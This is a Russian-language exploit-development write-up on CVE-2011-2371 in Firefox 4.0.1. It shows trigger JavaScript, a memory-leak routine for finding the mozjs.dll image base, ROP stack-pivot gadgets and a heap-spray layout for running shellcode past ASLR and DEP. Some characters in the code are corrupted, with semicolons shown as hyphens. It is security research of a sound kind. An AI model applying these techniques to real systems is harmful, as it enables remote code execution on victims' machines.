Использование уязвимости CVE-2011-2371 (в функции FF reduceRight) с обходом механизма ASLR


В этом посте на примере Firefox 4. 0.1/Windows 7 я покажу, как использовать уязвимость для получения адреса image base одного из модулей Firefox’a и обхода механизма ASLR без каких-либо дополнительных средств.

Автор: Paul

Уязвимость CVE-2011-2371 (обнаруженная Крисом Рольфом (Chris Rohlf) и Яном Ивницким (Yan Ivnitskiy) является багом в Firefox версий <= 4.0.1. Особенность бага заключается в том, что он позволяет одновременно выполнить произвольный код и слить информацию. К несчастью, все известные эксплойты, нацеленные на эту уязвимость, не принимают во внимание механизм ASLR.

В данном посте на примере Firefox 4.0.1/Windows 7 я покажу, как использовать уязвимость для получения адреса image base одного из модулей Firefox’a и обхода механизма ASLR без каких-либо дополнительных средств.

Описание бага

Исходный отчет об ошибке и ее подробное описание можно найти здесь. Чтобы не тянуть резину, привожу ниже код, который вызывает эту ошибку:

xyz = new Array-
xyz.length = 0x80100000-

a = function foo(prev, current, index, array) {
current[0] = 0x41424344-
}

xyz.reduceRight(a,1,2,3)-

После выполнения этого кода Firefox падает:

eax=0454f230 ebx=03a63da0 ecx=800fffff edx=01c6f000 esi=0012cd68 edi=0454f208
eip=004f0be1 esp=0012ccd0 ebp=0012cd1c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mozjs!JS_FreeArenaPool+0x15e1:
004f0be1 8b14c8 mov edx,dword ptr [eax+ecx*8]
ds:0023:04d4f228=?????

В eax содержится указатель на массив "xyz", а значение ecx равно xyz.length-1. Функция reduceRight пробегает все элементы данного массива в обратном порядке, поэтому если чтение адреса @004f0be1 не вызывает падения программы внутри функции обратного вызова (foo), то интерпретатор JS будет циклически выполнять вышеописанный код, каждый раз уменьшая значение ecx.

Величина, хранящаяся по адресу @004f0be1, передается в foo() в качестве аргумента “сurrent”. Это означает, что мы можем обмануть интерпретатор JS, передав в функцию обратного вызова случайный объект из кучи. Замечу, что мы можем свободно задавать длину массива, и так как значение eax умножается на 8 (сдвиг на 3 бита влево), то можно получить доступ к памяти, находящейся за границами массива, устанавливая нужное значение 29ого бита длины массива. Хитрый ход J.

Во время выполнения reduceRight() интерпретатор ожидает переменных типа jsval_layout:


http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h
274 typedef union jsval_layout
275 {
276 uint64 asBits-
277 struct {
278 union {
279 int32 i32-
280 uint32 u32-
281 JSBool boo-
282 JSString *str-
283 JSObject *obj-
284 void *ptr-
285 JSWhyMagic why-
286 jsuword word-
287 } payload-
288 JSValueTag tag-
289 } s-
290 double asDouble-
291 void *asPtr-
292 } jsval_layout-

Нам больше всего интересна структура “payload”. Возможны следующие значение поля “tag”:


http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

92 JS_ENUM_HEADER(JSValueType, uint8)
93 {
94 JSVAL_TYPE_DOUBLE = 0x00,
95 JSVAL_TYPE_INT32 = 0x01,
96 JSVAL_TYPE_UNDEFINED = 0x02,
97 JSVAL_TYPE_BOOLEAN = 0x03,
98 JSVAL_TYPE_MAGIC = 0x04,
99 JSVAL_TYPE_STRING = 0x05,
100 JSVAL_TYPE_NULL = 0x06,
101 JSVAL_TYPE_OBJECT = 0x07,
...
119 JS_ENUM_HEADER(JSValueTag, uint32)
120 JSVAL_TYPE_MAGIC,
127 JSVAL_TAG_NULL = JSVAL_TAG_CLEAR JS_ENUM_FOOTER(JSValueTag)-

Значит ли это, что мы можем прочитать только первые двойные слова в парах (d1, d2), где d2 = JSVAL_TAG_INT32 или d2 = JSVAL_TYPE_DOUBLE? К счастью для нас, это не так. Вот как интерпретатор проверяет, является ли jsval_layout числом:


http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

405 static JS_ALWAYS_INLINE JSBool
406 JSVAL_IS_NUMBER_IMPL(jsval_layout l)
407 {
408 JSValueTag tag = l.s.tag-
409 JS_ASSERT(tag != JSVAL_TAG_CLEAR)-
410 return (uint32)tag <= (uint32)JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET-

Так что любая пара двойных слов (d1, d2), в которой d2 <= JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET (это равно значению JSVAL_TAG_INT32) воспринимается как число.

На этом хорошие новости не заканчиваются, посмотрите, как распознаются числа с плавающей запятой:


http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

369 static JS_ALWAYS_INLINE JSBool
370 JSVAL_IS_DOUBLE_IMPL(jsval_layout l)
371 {
372 return (uint32)l.s.tag <= (uint32)JSVAL_TAG_CLEAR-
373 }

Это означает, что любая пара (d1, d2) , в которой d2 <= 0xffff0000 воспринимается как число с плавающей запятой двойной точности. Это хороший способ экономии памяти, так как числа с плавающей запятой двойной точности со всеми установленными битами экспоненты и ненулевой мантиссой никогда не будут NaN. Поэтому отбрасывание чисел больших 0xffff 0000 0000 0000 0000 в действительности не приводит к проблемам - мы просто исключаем NaN.

Получение адреса image base

Мы знаем, что большинство значений, взятых из кучи, функция обратного вызова воспринимает как числа с плавающей запятой, поэтому можно воспользоваться библиотекой типа JSPack, чтобы декодировать эти числа в последовательность байтов.


var leak_func =
function bleh(prev, current, index, array) {
if(typeof current == "number"){
mem.push(current)- //decode with JSPack later
}
count += 1-
if(count>=CHUNK_SIZE/8){
throw "lol"- //stop dumping
}
}

Заметьте, что мы проверяем тип аргумента “current”. Это необходимо делать, так как если jsval_value будет типа OBJECT, то дальнейшие операции с аргументом могут вызвать нежелательное падение программы.

Чтобы найти нужный адрес image base библиотеки mozjs.dll (именно в ней содержится реализация функции reduceRight), нужно проверить определенный участок памяти. Особое внимание стоит обращать на указатели на функции в секции .code и на указатели на структуры данных в секции .data, но как найти нужные указатели? С каждым запуском программы значение этих указателей различно, так как меняется image base.

Изучая дампы памяти вручную, я заметил, что всегда существует возможность найти пару указателей (при фиксированных RVA) на секцию .data, которые будут различаться на константу (0x304), поэтому проще всего будет последовательно просканировать пары двойных слов, найти те, которые различаются на 0x304 и, наконец, вычислить image base mozjs.dll (image_base = ptr_va – ptr_rva).

Хоть этот метод и был найден опытным путем, но срабатывает он в 100% случаев J

Задаем необходимые значения

Предположим, что у нас есть возможность передать сформированный jsval_layout c tag = JSVAL_TYPE_OBJECT в функцию обратного вызова. Вот что произойдет после выполнения “current[0]=1”, если поле “payload.ptr” указывает на область памяти, заполненную \x88:


eax=00000001 ebx=00000009 ecx=40000004 edx=00000009 esi=055101b0 edi=88888888
eip=655301a9 esp=0048c2a0 ebp=13801000 iopl=0 ov up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010a06
mozjs!js::mjit::stubs::SetElem$lt-0>+0xf9:
655301a9 8b4764 mov eax,dword ptr [edi+64h] ds:002b:888888ec=????????

0:000> k
ChildEBP RetAddr
0048c308 6543fc4c mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...js\src\methodjit\stubcalls.cpp @ 567]
0048c334 65445d99 mozjs!js::InvokeSessionGuard::invoke+0x13c [...\js\src\jsinterpinlines.h @ 619]
0048c418 65445fa6 mozjs!array_extra+0x3d9 [...\js\src\jsarray.cpp @ 2857]
0048c42c 65485221 mozjs!array_reduceRight+0x16 [...\js\src\jsarray.cpp @ 2932]

Мы забиваем память \x88 для того, чтобы каждый указатель, взятый из этой области памяти был равен 0x88888888. Так как старший бит установлен в 1 (и указатель указывает на пространство памяти ядра), то любое разыменовывание приведет к падению программы, о чем нам и сообщит отладчик. Заполнение памяти небольшими значениями (например 0x0c) поможет избежать падения

Мы также можем задавать значение edi. Давайте посмотри, можно ли этим как-то воспользоваться:


0:000> u eip l10
mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...\js\src\methodjit\stubcalls.cpp @ 567]:
655301a9 8b4764 mov eax,dword ptr [edi+64h]
655301ac 85c0 test eax,eax
655301ae 7505 jne mozjs!js::mjit::stubs::SetElem<0>+0x105 (655301b5)
655301b0 b830bb4965 mov eax,offset mozjs!js_SetProperty (6549bb30)
655301b5 8b54241c mov edx,dword ptr [esp+1Ch]
655301b9 6a00 push 0
655301bb 8d4c2424 lea ecx,[esp+24h]
655301bf 51 push ecx
655301c0 53 push ebx
655301c1 55 push ebp
655301c2 52 push edx
655301c3 ffd0 call eax
655301c5 83c414 add esp,14h
655301c8 85c0 test eax,eax

Это как раз то, что нам нужно: значение [edi+64h] (edi задан нами) – это указатель на функцию по адресу @655301c3. Как же формируется значение edi?


0:000> u eip-72 l10
mozjs!js::mjit::stubs::SetElem<0>+0x87 [...\js\src\methodjit\stubcalls.cpp @ 552]:
65530137 8b7d04 mov edi,dword ptr [ebp+4]
6553013a 81ffb05f5e65 cmp edi,offset mozjs!js_ArrayClass (655e5fb0)
65530140 8b5c2414 mov ebx,dword ptr [esp+14h]
65530144 7563 jne mozjs!js::mjit::stubs::SetElem<0>+0xf9 (655301a9)

edi=[ebp+4], где ebp равняется значению поля payload.ptr в смеси jsval_layout.

Теперь хорошо видно, как задать значение EIP. Нужно вызвать функцию setElem (выполнив “current[0]=1” при обратном вызове reduceRight) c tag=JSVAL_TYPE_OBJECT и ptr=PTR_TO_CONTROLLED_MEM, где [CONTROLLED_MEM+4]=NEW_EIP. Проще простого J.

Так как ASLR больше не проблема (мы уже знаем адрес image base mozjs.dll) можно обойти механизм DEP с помощью возвратно-ориентированного программирования. mona.py без труда позволит сгенерировать ROP-цепочку и выделить участок памяти с правами RWX. Из этого участка памяти можно выполнить собственный шеллкод, не задумываясь о DEP.


!mona rop -m "mozjs" -rva

“-m” ограничивает поиск только mozjs.dll (так как это единственный модуль, image base которого мы знаем)

“-rva” генерирует цепочку в соответствие с image base модуля.

Я не хочу приводить здесь результат выполнения, но mona способна отыскать цепочку с функцией VirtualAlloc, которая позволяет изменить права на RWX.

Есть только одна проблема. Чтобы использовать эту цепочку, нам нужно контролировать стек, чего во время вызова @655301c3 мы делать не можем. К счастью, мы можем управлять регистром EBP, значение которого равно полю layout.ptr в нашем подменном объекте. Первая мысль, которая приходит в голову, это использовать в качестве отправной точки последние строчки функции:


mov esp, ebp
pop ebp
ret

Но заметим, что RET вернет управление на адрес, хранящийся в [ebp+4] и поэтому:


65530137 8b7d04 mov edi,dword ptr [ebp+4]

Это означает, что адресом возвращения должен быть [ebp+4] и он должен указывать на указатель функции, вызываемой в дальнейшем (@655301c3).

Нам необходимо изменить значение регистра EBP перед копированием его в ESP. Принимая во внимание тот факт, что во время выполнения функции SetElem, идентификатор свойства передается в EBP как 2*id+1 (операция “current[id]=…”), можно легко проделать следующий трюк:


// 0x68e7a21c, mozjs.dll
// found with mona.py
ADD EBP,EBX
PUSH DS
POP EDI
POP ESI
POP EBX
MOV ESP,EBP //(1)
POP EBP //(2)
RETN

Это сместит значение EBP на заданную нечетную величину. В JS размер Unicode символов составляет 2 байта, поэтому лучше выровнять EBP на 2. Мы можем изменить смещение ESP, взяв из стека новое значение EBP (2) и проделав тот же трюк со строки (1).

Тогда наш поддельный объект должен выглядеть следующим образом:


pivot_va – адрес вышеописанного кода

new_ebp – значение, взятое из стека (2) для смещения стека на 2

new_esp_ebp – адрес (1)

new_ebp2 – новое значение EBP после выполнения (2) во второй раз

ROP – сгенерированная цепочка ROP, которая изменяет права доступа к памяти

normal shellcode – шеллкод окна сообщения

Заполнение кучи (Spraying)

Вот неплохая диаграмма (asciiflow FTW), которая показывает, как мы будем размещать (или попытаемся разместить) все в памяти:

low addresses
+---------------------+
+-------+ ptr | 0xffff0007 | ^
| +---------------------| |
| | | |
| | . | |
| | . | |
| | . | |
| +---------------------| | half1
| +----+ ptr | 0xffff0007 | |
| | +---------------------| |
| | | . | |
| | | . | |
| | | . | |
| | | | v
| | +-----end of half1----+
| | | | ^
| | | | |
| | | | | margin of
| | | . | | error
| | | . | |
| | +---------------------+ v
+--|---> fake object |
| +--^------------------+
| | | . |
| | | . |
+-----+ |
| |
| |
+---------------------+

high addresses

Наше заполнение будет состоять из двух областей. Первая будет состоять из смесей jsval_layout c tag = 0xffff0007 (JSVAL_TYPE_OBJECT), а ptr указывать на вторую область, забитую поддельными объектами, структура которых описана выше.

Если вы запустите PoC эксплойт на Windows XP, вот так (скорее всего) будет выглядеть куча:


Увеличим масштаб:


Заметьте, что производится выравнивание на 4 КБ. Это происходит, потому что юникод-строки хранятся в массиве. В начале массива хранятся метаданные, а сами данные начинаются с адреса @+4КБ. Не помешает также напомнить, что в старых версия FF имелся баг, связанный с округлением размера выделяемой памяти, и как следствие этого, под объекты выделялось слишком много памяти (в том числе и под строки), поэтому вместо аккуратно выровненного массива строк мы получаем строки, разделенные участками памяти с NULL-байтами (чуть позже я объясню, почему это не вызовет проблем).

Вот как будут выглядеть поддельные объекты из второй области заполнения:


Четыре NOPа в конце указывают на конец ROP-цепочки.

Собираем все вместе

  • Получить адрес image base mozjs.dll, как описано выше.
  • Заполнить кучу с помощью JS, как описано выше.
  • Найти с какого адреса в различных ОС начинается заполнение кучи. В различных версиях эксплойта длина массива в reduceRight должна вычисляться по-разному (в зависимости от ОС).
  • Вычислить длину массива (xyz в PoC-эксплойте), так чтобы первое разыменование произошло в середине первой области заполнения. Это дает нам максимально возможный предел погрешности – если адрес начала заполнения отличается от ожидаемого менее чем на size/2, это не должно никак повлиять на работу нашего эксплойта.
  • Вызвать баг.
  • Внутри функции обратного вызова JS, спровоцировать выполнение SetElem (“current[4]=1”). В случае исключения JS (TypeError: current is undefined) изменить длину массива и продолжить. Эти исключения вызваны NULL-промежутками между строками. Попадание в эти промежутки не смертельно, потому что интерпретатор JS видит их как “неопределенные” значения, и бросает JS исключение вместо падения программы. J
  • Вот такое милое окошко подтверждает успех J


Ограничения

В реализации PoC-эксплойта (как и в других известных реализациях эксплойта этого бага) подразумевается, что куча не засорена другими данными. На практике же все немного не так, потому что чаще всего, когда жертва переходит по ссылке, ведущей на экплойт, браузер уже запущен, и несколько вкладок уже открыто. В этом случае заполнение будет размещаться в памяти не последовательно, а с разрывами, что приведет к проблемам (падение программы).

Полагая, что PoC – это первая и единственная страница, открытая в Firefox, вероятность успеха (выполнение шеллкода) зависит от времени поиска адреса image base mozjs.dll. Чем дольше это происходит, тем больше мусора скапливается в куче, что приводит к увеличению “разрывов” в области заполнения.

PoC можно найти здесь.